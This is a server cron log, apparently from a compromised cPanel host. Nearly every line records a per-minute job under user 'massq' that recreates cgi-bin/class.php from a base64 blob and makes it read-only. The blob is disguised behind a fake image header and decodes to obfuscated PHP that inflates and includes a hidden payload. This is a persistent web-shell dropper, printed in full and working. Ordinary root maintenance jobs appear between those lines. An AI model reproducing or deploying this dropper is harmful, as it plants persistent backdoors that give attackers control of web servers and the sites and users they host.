Nov 15 09:37:01 server CROND[2174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:38:01 server CROND[2440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:39:01 server CROND[2719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:39:01 server CROND[2720]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 09:40:01 server CROND[3075]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 09:40:01 server CROND[3077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:40:01 server CROND[3076]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:40:01 server CROND[3078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:41:01 server CROND[3401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:42:01 server CROND[3658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:42:01 server CROND[3659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 09:43:01 server CROND[3917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:44:01 server CROND[4174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:45:01 server CROND[4536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:45:01 server CROND[4537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:45:01 server CROND[4539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:46:01 server CROND[4849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:47:01 server CROND[5109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:48:01 server CROND[5359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:49:01 server CROND[5640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:50:01 server CROND[5917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 09:50:01 server CROND[5918]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 09:50:01 server CROND[5919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:50:01 server CROND[5922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
